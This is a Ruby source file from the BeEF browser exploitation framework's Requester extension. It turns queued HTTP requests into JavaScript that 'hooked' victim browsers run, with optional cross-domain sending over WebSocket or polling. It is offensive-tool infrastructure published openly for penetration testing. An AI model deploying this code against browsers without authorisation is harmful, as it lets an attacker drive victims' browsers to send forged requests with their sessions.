171 lines
6.9 KiB
Ruby
171 lines
6.9 KiB
Ruby
#
|
|
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
|
#
|
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
# you may not use this file except in compliance with the License.
|
|
# You may obtain a copy of the License at
|
|
#
|
|
# http://www.apache.org/licenses/LICENSE-2.0
|
|
#
|
|
# Unless required by applicable law or agreed to in writing, software
|
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
# See the License for the specific language governing permissions and
|
|
# limitations under the License.
|
|
#
|
|
module BeEF
|
|
module Extension
|
|
module Requester
|
|
module API
|
|
|
|
require 'uri'
|
|
class Hook
|
|
|
|
include BeEF::Core::Handlers::Modules::BeEFJS
|
|
|
|
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
|
|
# and send them to the hooked browser.
|
|
def requester_run(hb, body)
|
|
@body = body
|
|
# Generate all the requests and output them to the hooked browser
|
|
output = []
|
|
BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => "waiting").each { |h|
|
|
output << self.requester_parse_db_request(h)
|
|
}
|
|
|
|
return if output.empty?
|
|
config = BeEF::Core::Configuration.instance
|
|
ws = BeEF::Core::Websocket::Websocket.instance
|
|
|
|
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
|
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
|
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
|
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
|
|
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// http://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
//', "")
|
|
add_to_body output
|
|
ws.send(content + @body,hb.session)
|
|
#if we use WebSockets, just reply wih the component contents
|
|
else # if we use XHR-polling, add the component to the main hook file
|
|
build_missing_beefjs_components 'beef.net.requester'
|
|
# Send the command to perform the requests to the hooked browser
|
|
add_to_body output
|
|
end
|
|
end
|
|
|
|
def add_to_body(output)
|
|
@body << %Q{
|
|
beef.execute(function() {
|
|
beef.net.requester.send(
|
|
#{output.to_json}
|
|
);
|
|
});
|
|
}
|
|
end
|
|
|
|
#
|
|
# Converts an HTTP db object into an Hash that follows the representation
|
|
# of input data for the beef.net.request Javascript API function.
|
|
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
|
|
# and finally sent to and executed by the hooked browser.
|
|
def requester_parse_db_request(http_db_object)
|
|
|
|
allow_cross_domain = http_db_object.allow_cross_domain.to_s
|
|
req_parts = http_db_object.request.split(/ |\n/)
|
|
verb = req_parts[0]
|
|
uri = req_parts[1]
|
|
headers = {}
|
|
|
|
req_parts = http_db_object.request.split(/ |\n/)
|
|
|
|
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
|
req_parts.each_with_index do |value, index|
|
|
if value.match(/^Content-Length:\s+(\d+)/)
|
|
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
|
|
end
|
|
|
|
if value.match(/^Host/)
|
|
@host = req_parts[index].split(/:\s+/)[1].split(/:/)[0]
|
|
@port = req_parts[index].split(/:\s+/)[1].split(/:/)[1]
|
|
end
|
|
|
|
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
|
|
@post_data_index = index
|
|
end
|
|
end
|
|
|
|
#@note: add HTTP request headers to an Hash
|
|
req_parts.each_with_index do |value, index|
|
|
if verb.eql?("POST")
|
|
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
|
|
header_key = req_parts[index].split(/: /)[0]
|
|
header_value = req_parts[index].split(/: /)[1]
|
|
headers[header_key] = header_value
|
|
end
|
|
else
|
|
if index > 0 #only add HTTP headers, not the verb/uri/version
|
|
header_key = req_parts[index].split(/: /)[0]
|
|
header_value = req_parts[index].split(/: /)[1]
|
|
headers[header_key] = header_value
|
|
end
|
|
end
|
|
end
|
|
|
|
if @port.nil?
|
|
if uri.match(/^https:/)
|
|
@port = 443
|
|
else
|
|
@port = 80
|
|
end
|
|
end
|
|
|
|
#POST request
|
|
if not @content_length.nil? and @content_length > 0
|
|
post_data_scliced = req_parts.slice(@post_data_index + 1, req_parts.length)
|
|
@post_data = post_data_scliced.join
|
|
http_request_object = {
|
|
'id' => http_db_object.id,
|
|
'method' => verb,
|
|
'host' => @host,
|
|
'port' => @port,
|
|
'data' => @post_data,
|
|
'uri' => uri,
|
|
'headers' => headers,
|
|
'allowCrossDomain' => allow_cross_domain
|
|
}
|
|
else
|
|
#non-POST request (ex. GET)
|
|
http_request_object = {
|
|
'id' => http_db_object.id,
|
|
'method' => verb,
|
|
'host' => @host,
|
|
'port' => @port,
|
|
'uri' => uri,
|
|
'headers' => headers,
|
|
'allowCrossDomain' => allow_cross_domain
|
|
}
|
|
end
|
|
|
|
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
|
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
|
|
|
|
http_request_object
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|